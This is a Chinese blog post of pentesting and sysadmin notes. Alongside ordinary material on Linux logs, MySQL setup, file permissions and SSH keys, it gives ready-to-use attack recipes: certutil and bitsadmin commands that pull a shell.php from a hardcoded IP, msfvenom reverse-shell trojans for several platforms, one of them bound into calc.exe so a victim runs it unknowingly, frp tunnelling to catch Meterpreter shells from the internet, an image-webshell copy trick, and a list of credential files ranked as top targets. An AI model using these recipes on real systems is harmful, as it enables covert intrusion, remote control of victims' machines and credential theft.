小烟枪的精神世界!!!

博客园 首页 新随笔 联系 订阅 管理
  • 判断邮箱是否在outlook上托管

 mail.live.com 直接账号登陆看是否跳转

  • linux比较重要的目录

 /var/log 首先是日志,里面的message保存了比较重要的信息,一般出问题了登上去首先会去看这里。
 还有lastb查看登录错误的日志,last查看所有的登录日志,lastlog查看最后一次登录的日志。
 /var/log/secure 记录了验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权。
 home目录下面有个.bash_history 如果etc/passwd发现有新增的可疑用户的话会去看一下,他记录了历史命令。
 var/spool/cron里面有计划任务,留后门的话有可能会定时反弹shell。
 home/用户名/ssh 记录了ssh公钥,查看有没有被留后门。
 etc/rc.local开机自启动。
 临时文件在/var/tmp目录中。

   如果要给linux上的敏感文件做个排行榜,那么/etc/shadow、/root/.ssh/authorized_keys、/root/.ssh/id_rsa、/root/.bash_history这四个绝对是毫无疑问的T0,逮着这四个测准没错。

  • windows命令行如何下载文件?

   certutil

   certuti也是windows下一款下载文件的工具,自从WindowsServer 2003就自带。但是在Server 2003使用会有问题。也就是说,以下命令是在Win7及其以后的机器使用。

   certutil -urlcache -split -f http://114.118.80.138/shell.php #下载文件到当前目录下

   certutil -urlcache -split -f http://114.118.80.138/shell.php c:/users/xie/desktop/shell.php #下载文件到指定目录下

   文件base64编码解码

   certutil -encode a.txt b.txt #将a.txt文件base64编码为b.txt

   certutil -decode b.txt c.txt #将c.txt文件base64解码为c.txt

   bitsadmin

   bitsadmin /rawreturn /transfer down "http://finger.tidesec.net/app/home/view/default/public/images/finger_info.png" D:\1.jpg

   如果需要下载过大的文件,需要提高优先级。配合上面的下载命令,再次执行。

   bitsadmin /setpriority 比如high

   FOREGROUND、HIGH、NORMAL、LOW

   

  • 腾讯云开启3306端口

   查看3306端口是否状态

   ubuntu@VM-15-131-ubuntu:~$ netstat -an | grep 3306

   tcp6 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN

   可以发现: 3306端口绑定的IP地址是本地的127.0.0.1 , 需要解绑

   修改Mysql配置文件

   vim /etc/mysql/mysql.conf.d/mysqld.cnf

   找到bind-address 并在前面加上 # 注释该行

   #bind-address = 127.0.0.1

   重启Mysql让配置文件生效

  • mysql修改密码

   修改语句无效(版本问题)

   update mysql.user set authentication_string=password('123456') where user='root'

   注意上述语句已经失效了,新版为:

   ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY '123456';

  • 利用Msfvenom制作木马

   Windows木马

   msfvenom -p windows/meterpreter/reverse_ tcp lhost=hackIP lport=4444 -f exe -o server.exe

   拓展:将木马程序附加到一个常见的程序中,让受害者执行这个常见程序从而执行木马

   msfvenom -p windows/meterpreter/reverse_tcp lhost=hackIP lport=4444 -x calc.exe -k -f exe -o calc.exe

   其中-x calc.exe是本地的计算器程序,也就是将木马植入到计算器文件。对方运行计算器程序后也就运行了木马。

   linux系统木马

   msfvenom -p linux/meterpreter/reverse_ tcp lhost=hackIP lport=4444 -f elf -o server.elf

   安卓系统木马

   msfvenom -p android/meterpreter/reverse_tcp lhost=hackIP lport=4444 -o server.apk

   PHP木马

   msfvenom -p php/meterpreter/reverse_tcp lhost=hackIP lport=4444 -f raw -o server.php

   Python木马

   msfvenom -p python/meterpreter/reverse_tcp lhost=hackIP lport=4444 -f raw -o server.py

  • Frp内网穿透

   内网穿透从本质上来讲也是端口映射,两者都是将内网地址映射到公网可访问的地址,而区别是端口映射直接在路由器中配置即可,而内网穿透配置的端口映射则需要客户端和服务端进行绑定后实现,相当于客户端和服务端之间建立了一条隧道,然后访问服务端的请求会通过隧道转发给内网主机,该情况多用于没有公网 IP 的情况下使用。

   frp下载地址:https://github.com/fatedier/frp/releases

   

   文件含义 

   

    1、映射内网SSH服务

   查看简易配置文件,配置了侦听端口为7000,即服务端与客户通讯的端口

      

   启动服务端程序

   ./frps -c ./frps.ini 

    

   在本地linux中解压linux版本文件,并修改客户端简易配置文件frpc.ini

   

   启动客户端程序

   ./frpc -c frpc.ini

   

   此时云主机上服务端会显示已经成功的日志信息。

   在云主机上查看6000端口的状态,显示已经配置了TCP监听

   

   通过xshell访问云主机公网ip的6000端口就可以访问内网主机
   2、映射内网Web服务

   配置服务端的配置文件frps.ini,vhost_http_port为http服务访问端口,vhost_https_port为https

   服务访问端口,此处以http服务为例

   frps.ini配置文件

   [common]
   bind_port = 7000
   vhost_http_port = 8080

   

   配置完成后启动服务端程序

   ./frps -c ./frps.ini 

   更改客户端的配置文件frpc.ini

   注:一定要注意公网服务器端口的开启

   ## frpc.ini配置文件
   [common]
   server_addr = 123.456.789.111 ## 云主机的公网IP
   server_port = 7000 ## 服务端绑定的端口

   [web]
   type = http
   local_port = 80 ## 本地Web服务的端口
   custom_domains = www.yourdomain.com ## 解析到公网IP上的域名

   

   启动客户端程序

   ./frps -c ./frps.ini

   

   服务端可以查看到成功链接的日志信息

   

   访问域名:8080就可以访问本地的Web服务

   

    3、配置MSF接收来自公网的shell

    服务端配置文件不用改变(保持和客户端server_port一致),修改客户端配置文件即可,然后启动客户端程序

   ## frpc.ini配置文件
   [common]
   server_addr = 123.456.789.111 ## 云主机的公网IP
   server_port = 7000 ## 服务端绑定的端口

   [msf]
   type = tcp
   local_port = 4444 ## 本地待监听端口
   local_ip = 127.0.0.1
   remote_port = 8085 ## 公网映射端口

   本地生成 payload ,LHOST 指定为公网 IP,LPORT 指定为公网映射端口

   msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=123.456.789.111 LPORT=8085 -b "\x00" -f elf -o xuyu

   本地启动 MSF 并配置侦听,此时监听LOST为本地ip地址,LPORT为frpc.ini配置文件中本地的端口

   ## MSF配置本地监听
   use exploit/multi/handler
   set payload linux/x64/meterpreter/reverse_tcp
   set LHOST 192.168.1.105
   set LPORT 4444
   exploit

   在另一台主机上执行payload,成功反弹shell到本地kali上。

   注意:当发现自己VPS的IP不是公网地址时,无需内网穿透也可以用私网地址来设置lhsot,写木马时写成公网地址即可。

   

   

    同时frp也可以配置socket代理。有机会下次写!

  • CMD制作图片马

   copy 111.jpg/b+222.asp/a 333.jpg

  • Python实现简单的http server

    如果不指定端口号默认的是8000端口。在局域网中使用web去访问http:/IP:8000即可

   python -m SimpleHTTPServer 1234

   python3 -m http.server 55555

  • 如何获取网站真实(物理)路径

   

   

  • Linux文件权限和/etc/passwd解释
   1、文件权限

   

   图中一行共显示了七列信息,从左至右依次为:权限、文件数、归属用户、归属群组、文件大小、创建日期、文件名称

   drwxrwx--- 2 john www-data 4096 Jul 17 2021 .ssh

   

   其中 -rwsr-xr-x 值得深究一下是什么意思?

   我们会发现第一个字母要么是d或者是-。这里的d表示的是文件夹的意思,而如果是-,那么则表示是个普通文件。这里表示‘.ssh’这个文件是一个文件夹。

   第一位表示文件类型
   d 文件夹
   - 普通文件
   l 链接
   b 块设备文件
   p 管道文件
   c 字符设备文件
   s 套接口文件

   2-4位表示文件属主拥有的权限

   r是读、w是写、x是执行。

   这里rwx表示读写执行都有
   5-7位表示同组用户权限

   r是读、w是写、x是执行。

   这里rwx表示读写执行都有
   8-10位表示其他用户所具有的权限

   r是读、w是写、x是执行。

   ---表示其他用户什么权限都没有

   此外,toto还有一个s字母在里面,表示有suid权限。

   而具体的权限是由数字来表示的,读取的权限等于4,用r表示;写入的权限等于2,用w表示;执行的权限等于1,用x表示。

   通过4、2、1的组合,得到以下几种权限:

   0(没有权限);4(读取权限);5(4+1 | 读取+执行);6(4+2 | 读取+写入);7(4+2+1 | 读取+写入+执行)

   以755为例:

   1-3位7等于4+2+1,rwx,所有者具有读取、写入、执行权限;

   4-6位5等于4+1+0,r-x,同组用户具有读取、执行权限但没有写入权限;

   7-9位5,同上,也是r-x,其他用户具有读取、执行权限但没有写入权限。

   所以在chmod xxx 给某一个文件时,比如chmod 777 Test实际上就是赋予Test这个文件rwxrwxrwx权限,也就是所有用户(owner/group/others)都可以读写和执行。

   注意:chmod -R xxx xxx表示递归(recursive)的持续变更,亦即连同次目录下的所有档案都会变更

   2、passwd文件解析

   

   (1)注册名(login_name):用于区分不同的用户。在同一系统中注册名是惟一的。在很多系统上,该字段被限制在8个字符(字母或数字)的长度之内;并且要注意,通常在Linux系统中对字母大小写是敏感的。这与MSDOS/Windows是不一样的。
   (2)口令(passwd):系统用口令来验证用户的合法性。超级用户root或某些高级用户可以使用系统命令passwd来更改系统中所有用户的口令,普通用户也可以在登录系统后使用passwd命令来更改自己的口令。
   现在的Unix/Linux系统中,口令不再直接保存在passwd文件中,通常将passwd文件中的口令字段使用一个“x”来代替,将/etc /shadow作为真正的口令文件,用于保存包括个人口令在内的数据。当然shadow文件是不能被普通用户读取的,只有超级用户才有权读取。
   此外,需要注意的是,如果passwd字段中的第一个字符是“*”的话,那么,就表示该账号被查封了,系统不允许持有该账号的用户登录。
   (3)用户标识号(UID):UID是一个数值,是Linux系统中惟一的用户标识,用于区别不同的用户。在系统内部管理进程和文件保护时使用 UID字段。在Linux系统中,注册名和UID都可以用于标识用户,只不过对于系统来说UID更为重要;而对于用户来说注册名使用起来更方便。在某些特 定目的下,系统中可以存在多个拥有不同注册名、但UID相同的用户,事实上,这些使用不同注册名的用户实际上是同一个用户。
   (4)组标识号(GID):这是当前用户的缺省工作组标识。具有相似属性的多个用户可以被分配到同一个组内,每个组都有自己的组名,且以自己的组标 识号相区分。像UID一样,用户的组标识号也存放在passwd文件中。在现代的Unix/Linux中,每个用户可以同时属于多个组。除了在 passwd文件中指定其归属的基本组之外,还在/etc/group文件中指明一个组所包含用户。
   (5)用户名(user_name):包含有关用户的一些信息,如用户的真实姓名、办公室地址、联系电话等。在Linux系统中,mail和finger等程序利用这些信息来标识系统的用户。

   (6)用户主目录(home_directory):该字段定义了个人用户的主目录,当用户登录后,他的Shell将把该目录作为用户的工作目录。 在Unix/Linux系统中,超级用户root的工作目录为/root;而其它个人用户在/home目录下均有自己独立的工作环境,系统在该目录下为每 个用户配置了自己的主目录。个人用户的文件都放置在各自的 主目录下。

   (7)命令解释程序(Shell):Shell是当用户登录系统时运行的程序名称,通常是一个Shell程序的全路径名,如/bin/bash。 

  • 公钥与私钥

   第一步:制作密钥对
   首先在服务器上制作密钥对。首先用密码登录到你打算使用密钥登录的账户,然后执行以下命令:

   [root@host ~]$ ssh-keygen  <== 建立密钥对
   Generating public/private rsa key pair.
   Enter file in which to save the key (/root/.ssh/id_rsa): <== 按 Enter
   Created directory '/root/.ssh'.
   Enter passphrase (empty for no passphrase): <== 输入密钥锁码,或直接按 Enter 留空
   Enter same passphrase again: <== 再输入一遍密钥锁码
   Your identification has been saved in /root/.ssh/id_rsa. <== 私钥
   Your public key has been saved in /root/.ssh/id_rsa.pub. <== 公钥
   The key fingerprint is:
   0f:d3:e7:1a:1c:bd:5c:03:f1:19:f1:22:df:9b:cc:08 root@host

   密钥锁码在使用私钥时必须输入,这样就可以保护私钥不被盗用。当然,也可以留空,实现无密码登录。

   现在,在 root 用户的家目录中生成了一个 .ssh 的隐藏目录,内含两个密钥文件。id_rsa 为私钥,id_rsa.pub 为公钥。

   第二步:在服务器上安装公钥
   键入以下命令,在服务器上安装公钥:

   [root@host ~]$ cd .ssh
   [root@host .ssh]$ cat id_rsa.pub >> authorized_keys

   如此便完成了公钥的安装。为了确保连接成功,请保证以下文件权限正确:

   [root@host .ssh]$ chmod 600 authorized_keys
   [root@host .ssh]$ chmod 700 ~/.ssh

   第三步:设置 SSH,打开密钥登录功能
   编辑 /etc/ssh/sshd_config 文件,进行如下设置:

   RSAAuthentication yes
   PubkeyAuthentication yes

   另外,请留意 root 用户能否通过 SSH 登录:

   PermitRootLogin yes

   当你完成全部设置,并以密钥方式登录成功后,再禁用密码登录:

   PasswordAuthentication no

   最后,重启 SSH 服务:

   [root@host .ssh]$ service sshd restart

   第四步:将私钥下载到客户端,然后转换为 PuTTY 能使用的格式
   使用 WinSCP、SFTP 等工具将私钥文件 id_rsa 下载到客户端机器上。然后打开 PuTTYGen,单击 Actions 中的 Load 按钮,载入你刚才下载到的私钥文件。如果你刚才设置了密钥锁码,这时则需要输入。

   载入成功后,PuTTYGen 会显示密钥相关的信息。在 Key comment 中键入对密钥的说明信息,然后单击 Save private key 按钮即可将私钥文件存放为 PuTTY 能使用的格式。

   今后,当你使用 PuTTY 登录时,可以在左侧的 Connection -> SSH -> Auth 中的 Private key file for authentication: 处选择你的私钥文件,然后即可登录了,过程中只需输入密钥锁码即可。


 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

posted on 2024-07-09 16:00  小烟枪  阅读(7)  评论(0)    收藏  举报